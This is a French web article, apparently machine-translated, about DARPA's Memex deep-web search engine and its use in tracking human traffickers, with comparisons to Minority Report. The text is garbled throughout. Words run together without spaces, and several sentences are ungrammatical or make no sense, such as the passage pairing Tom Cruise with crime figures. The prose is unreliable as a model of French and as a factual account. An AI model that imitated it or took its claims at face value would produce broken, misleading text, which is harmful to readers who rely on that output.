C' est juste untruc.Lesrobots d'indexationsuralimentéssontancheen mesure de suivreles mouvements destrafiquants d'êtres humainsen regardantoù ilssoumettre .Encore une fois, ce sont desliens quinepeut se glisser à traverslespistesde Google.Lesmouvementspeuvent êtrecompilés danslescartes de chaleurou des cartesdes mouvementsd'un criminel:
Deep Web Search Engine Memexlutte contre la criminalitéunpeu commeMinority Report
Les choses deviennentvraimentfuturistequand vous prenezen comptela dernièrefonctionMemex.Latechnologie est actuellementtesté en version bêtapar deuxbureauxd'avocatsde district,un organisme d'applicationde la loi etune organisation non gouvernementale.Lesprochaines étapes detests,deuxpour commenceravec un groupeplus large desbêta-testeursdans quelques semaines,est l'endroit oùles choses commencent àressembler beaucoup plus àMinority Report.DeScientific American:
L'un des principauxobjectifsdece cycleestde tester de nouvellescapacités de recherchedel'imagequi permet d'analyserles photosmêmelorsque des partiesqui pourraient aiderles enquêteurs, y comprisles visages destrafiquantsouun écran de télévisionen arrière-plansont-obscurcis.Un autre objectifestd'essayerdifférentes interfaces utilisateuretd'expérimenteravec des architecturesde streamingqui évaluentles donnéessensibles au facteur temps.
Vous avez entenduce droit.DARPAveutattraper les criminelsen regardantles refletssur les écransde télévision,de la même façonTomCruiseque les chiffressurles détails decrimesavant qu'ils ne surviennent.Bien sûr,Memexne peut pasvoir dans l'avenir.Cependant,l'idéeest que la technologiese arrêteratrafiquants d'êtres humainsavant qu'ils neblessentplus de personnes.Tous qu'a besoin le DARPAmaintenant ,ce sont des gantsétranges,un écrandetaille d'une pièce,etcertainsmutants, les humainsprophétiquesde trempage dansune chambre spéciale,et l'agencesera enfinune réalité surla vision dePhilip K.Dick de Minority Report.[Sciam,60 Minutes]